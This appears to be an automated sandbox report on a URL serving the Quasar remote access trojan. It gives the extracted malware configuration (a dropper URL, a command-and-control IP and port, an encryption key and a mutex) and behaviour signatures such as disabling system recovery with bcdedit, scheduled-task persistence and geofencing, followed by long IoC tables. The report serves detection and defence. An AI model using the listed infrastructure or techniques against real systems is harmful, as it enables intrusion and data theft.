quasar | hxxp://medai[.]tv

Resubmissions

30/12/2024, 03:24

241230-dyd5xswqbv 10

30/12/2024, 03:20

241230-dvvy9swpcy 10

Analysis

max time kernel
292s
max time network
294s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
30/12/2024, 03:24

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

http://medai.tv

Score

10^/10

quasar 28 evasion execution phishing ransomware spyware trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://captcha.cam/file.b64

Extracted

Family

quasar

Version

1.4.1

Botnet

194.26.192.167:2768

Mutex

859d5f90-e2d0-4b2d-ba9f-5371df032ec2

Attributes

encryption_key
BE2B0B270E4DB19CAA5C42E9D2EBF64645A2D055
install_name
RuntimeBroker.exe
log_directory
Logs
reconnect_delay
3000
startup_key
RuntimeBroker
subdirectory
RuntimeBroker

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0007000000023ce4-543.dat	family_quasar
behavioral1/memory/3752-559-0x0000000000220000-0x0000000000544000-memory.dmp	family_quasar

Modifies boot configuration data using bcdedit 1 TTPs 7 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
868	bcdedit.exe
4212	bcdedit.exe
7032	bcdedit.exe
6188	bcdedit.exe
6252	bcdedit.exe
6392	bcdedit.exe
6272	bcdedit.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
89	380	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3612	powershell.exe
5160	powershell.exe
5464	powershell.exe
5156	powershell.exe
5452	powershell.exe
3120	powershell.exe
1468	powershell.exe
5684	powershell.exe
5764	powershell.exe
1620	powershell.exe
5292	powershell.exe
5160	powershell.exe

A potential corporate email address has been identified in the URL: currency-file@1
phishing

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	RuntimeBroker.exe

Executes dropped EXE 2 IoCs

pid	Process
3752	RuntimeBroker.exe
1576	RuntimeBroker.exe

Drops file in System32 directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Containers-OptionalFeature-DisposableClientVM-Package~31bf3856ad364e35~amd64~uk-UA~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Compute-Host-Containers-Package~31bf3856ad364e35~amd64~it-IT~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-AssignedAccess-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-msmq-adintegration-Opt-Package~31bf3856ad364e35~amd64~de-DE~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-MSMQ-MMC-OptGroup-Package~31bf3856ad364e35~amd64~de-DE~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\catroot2\edb0001B.log	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Guest-KernelInt-Package~31bf3856ad364e35~amd64~~10.0.19041.844.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-KMCL-Host-Package~31bf3856ad364e35~amd64~en-US~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-NetFx3-OC-Package~31bf3856ad364e35~amd64~it-IT~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Multimedia-RestrictedCodecsDolby-WOW64-Package~31bf3856ad364e35~amd64~ja-JP~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-AssignedAccess-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-EditionPack-Professional-Package~31bf3856ad364e35~amd64~it-IT~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SMB1-Package~31bf3856ad364e35~amd64~~10.0.19041.1202.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\WindowsSearchEngineSKU-Group-Package~31bf3856ad364e35~amd64~es-ES~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\DiskIo-QoS-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppServerClient-OptGroup-Package~31bf3856ad364e35~amd64~uk-UA~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientExtensions-Package~31bf3856ad364e35~amd64~ja-JP~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-InternetExplorer-Optional-Package~31bf3856ad364e35~amd64~de-DE~11.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Media-Format-WOW64-merged-Package~31bf3856ad364e35~amd64~de-DE~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SMB1Server-D-Opt-Package~31bf3856ad364e35~amd64~ja-JP~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Networking-VirtualDevice-Emulated-Package~31bf3856ad364e35~amd64~ja-JP~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Printing-InternetPrinting-Client-Opt-Package~31bf3856ad364e35~amd64~ja-JP~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-TFTP-Client-Package~31bf3856ad364e35~amd64~es-ES~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Networking-VirtualDevice-Synthetic-merged-Package~31bf3856ad364e35~amd64~uk-UA~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CoreSystem-DISM-Package~31bf3856ad364e35~amd64~~10.0.19041.1202.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-PhotoBasic-PictureTools-Package~31bf3856ad364e35~amd64~uk-UA~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-TFTP-Client-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Media-Foundation-Package~31bf3856ad364e35~amd64~it-IT~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~fr-FR~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Holographic-Desktop-Analog-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-TextPrediction-Dictionaries-en-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Multimedia-MFCore-Package~31bf3856ad364e35~amd64~ja-JP~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Containers-DisposableClientVM-Package~31bf3856ad364e35~amd64~fr-FR~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Hypervisor-Package~31bf3856ad364e35~amd64~~10.0.19041.1288.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-IsolatedVM-SVC-Package~31bf3856ad364e35~amd64~en-US~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-msmq-triggers-Opt-Package~31bf3856ad364e35~amd64~it-IT~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\microsoft-windows-RemoteFX-clientVM-RemoteFXWDDMDriver-WOW64-Package~31bf3856ad364e35~amd64~fr-FR~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Multimedia-RestrictedCodecsDolby-Package~31bf3856ad364e35~amd64~fr-FR~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-PeerDist-Client-WOW64-Package~31bf3856ad364e35~amd64~uk-UA~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Primitive-VirtualMachine-Package~31bf3856ad364e35~amd64~it-IT~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-VMMS-Package~31bf3856ad364e35~amd64~ja-JP~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-VmTpm-Package~31bf3856ad364e35~amd64~uk-UA~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~fr-FR~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.264.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-msmq-powershell-Opt-Package~31bf3856ad364e35~amd64~uk-UA~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Networking-Containers-Package~31bf3856ad364e35~amd64~en-US~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-TextPrediction-Dictionaries-fr-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-UX-UI-Package~31bf3856ad364e35~amd64~fr-FR~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-EventLogAPI-Package~31bf3856ad364e35~amd64~fr-FR~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-UtilityVM-Containers-Shared-Package~31bf3856ad364e35~amd64~it-IT~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Optional-Features-Package~31bf3856ad364e35~amd64~fr-FR~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-LanguageFeatures-Handwriting-ja-jp-Package~31bf3856ad364e35~wow64~~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Worker-merged-Package~31bf3856ad364e35~amd64~de-DE~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Embedded-DialogBlocking-Package~31bf3856ad364e35~amd64~en-US~10.0.19041.1151.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-HyperV-OptionalFeature-HypervisorPlatform-Package~31bf3856ad364e35~amd64~uk-UA~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Feature-VirtualMachinePlatform-Package~31bf3856ad364e35~amd64~fr-FR~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Storage-VirtualDevice-FibreChannel-merged-Package~31bf3856ad364e35~amd64~es-ES~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-NetFx-Shared-WPF-Package~31bf3856ad364e35~amd64~fr-FR~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Printing-LPRPortMonitor-Opt-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-RemoteAssistance-Package-Client~31bf3856ad364e35~amd64~~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-TFTP-Client-Opt-Package~31bf3856ad364e35~amd64~de-DE~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\HyperV-Host-Devices-EmulatedChipset-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-AddOn-2-Package~31bf3856ad364e35~amd64~ja-JP~10.0.19041.1.cat	powershell.exe
File opened for modification	C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-PAW-merged-Package~31bf3856ad364e35~amd64~de-DE~10.0.19041.1.cat	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 20 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "162"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings	powershell.exe

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\Downloads\t.cmd:Zone.Identifier	firefox.exe

Opens file in notepad (likely ransom note) 3 IoCs

ransomware

pid	Process
6040	NOTEPAD.EXE
5424	NOTEPAD.EXE
5356	NOTEPAD.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3128	schtasks.exe
3456	schtasks.exe

Suspicious behavior: EnumeratesProcesses 62 IoCs

pid	Process
3120	powershell.exe
3120	powershell.exe
3120	powershell.exe
1620	powershell.exe
1620	powershell.exe
1620	powershell.exe
3612	powershell.exe
3612	powershell.exe
3612	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
1468	powershell.exe
1468	powershell.exe
1468	powershell.exe
3896	powershell.exe
3896	powershell.exe
3896	powershell.exe
380	powershell.exe
380	powershell.exe
380	powershell.exe
5160	powershell.exe
5160	powershell.exe
5160	powershell.exe
5292	powershell.exe
5292	powershell.exe
5292	powershell.exe
5464	powershell.exe
5464	powershell.exe
5464	powershell.exe
5576	powershell.exe
5576	powershell.exe
5576	powershell.exe
5684	powershell.exe
5684	powershell.exe
5684	powershell.exe
5804	powershell.exe
5804	powershell.exe
5804	powershell.exe
5156	powershell.exe
5156	powershell.exe
5156	powershell.exe
5160	powershell.exe
5160	powershell.exe
5160	powershell.exe
5452	powershell.exe
5452	powershell.exe
5452	powershell.exe
5484	powershell.exe
5484	powershell.exe
5484	powershell.exe
5764	powershell.exe
5764	powershell.exe
5764	powershell.exe
5596	powershell.exe
5596	powershell.exe
5596	powershell.exe
2256	powershell.exe
2256	powershell.exe
1624	powershell.exe
1624	powershell.exe
1624	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1576	RuntimeBroker.exe

Suspicious use of AdjustPrivilegeToken 35 IoCs

description	pid	Process
Token: SeDebugPrivilege	3164	firefox.exe
Token: SeDebugPrivilege	3164	firefox.exe
Token: SeDebugPrivilege	3120	powershell.exe
Token: SeDebugPrivilege	1620	powershell.exe
Token: SeDebugPrivilege	3612	powershell.exe
Token: SeDebugPrivilege	5024	powershell.exe
Token: SeDebugPrivilege	1468	powershell.exe
Token: SeDebugPrivilege	3896	powershell.exe
Token: SeDebugPrivilege	380	powershell.exe
Token: SeDebugPrivilege	3752	RuntimeBroker.exe
Token: SeDebugPrivilege	1576	RuntimeBroker.exe
Token: SeDebugPrivilege	5160	powershell.exe
Token: SeDebugPrivilege	5292	powershell.exe
Token: SeDebugPrivilege	5464	powershell.exe
Token: SeDebugPrivilege	5576	powershell.exe
Token: SeDebugPrivilege	5684	powershell.exe
Token: SeDebugPrivilege	5804	powershell.exe
Token: SeDebugPrivilege	5156	powershell.exe
Token: SeDebugPrivilege	5160	powershell.exe
Token: SeDebugPrivilege	5452	powershell.exe
Token: SeDebugPrivilege	5484	powershell.exe
Token: SeDebugPrivilege	5764	powershell.exe
Token: SeDebugPrivilege	5596	powershell.exe
Token: SeDebugPrivilege	3164	firefox.exe
Token: SeDebugPrivilege	3164	firefox.exe
Token: SeDebugPrivilege	3164	firefox.exe
Token: SeDebugPrivilege	2256	powershell.exe
Token: SeDebugPrivilege	4728	firefox.exe
Token: SeDebugPrivilege	4728	firefox.exe
Token: SeDebugPrivilege	1624	powershell.exe
Token: SeDebugPrivilege	4728	firefox.exe
Token: SeDebugPrivilege	4728	firefox.exe
Token: SeDebugPrivilege	4728	firefox.exe
Token: SeShutdownPrivilege	2024	shutdown.exe
Token: SeRemoteShutdownPrivilege	2024	shutdown.exe

Suspicious use of FindShellTrayWindow 44 IoCs

pid	Process
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
5356	NOTEPAD.EXE
5424	NOTEPAD.EXE
6040	NOTEPAD.EXE
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe

Suspicious use of SendNotifyMessage 38 IoCs

pid	Process
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe
4728	firefox.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3164	firefox.exe
1576	RuntimeBroker.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
3164	firefox.exe
4728	firefox.exe
2216	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4312 wrote to memory of 3164	4312	firefox.exe	83
PID 4312 wrote to memory of 3164	4312	firefox.exe	83
PID 4312 wrote to memory of 3164	4312	firefox.exe	83
PID 4312 wrote to memory of 3164	4312	firefox.exe	83
PID 4312 wrote to memory of 3164	4312	firefox.exe	83
PID 4312 wrote to memory of 3164	4312	firefox.exe	83
PID 4312 wrote to memory of 3164	4312	firefox.exe	83
PID 4312 wrote to memory of 3164	4312	firefox.exe	83
PID 4312 wrote to memory of 3164	4312	firefox.exe	83
PID 4312 wrote to memory of 3164	4312	firefox.exe	83
PID 4312 wrote to memory of 3164	4312	firefox.exe	83
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
PID 3164 wrote to memory of 2348	3164	firefox.exe	84
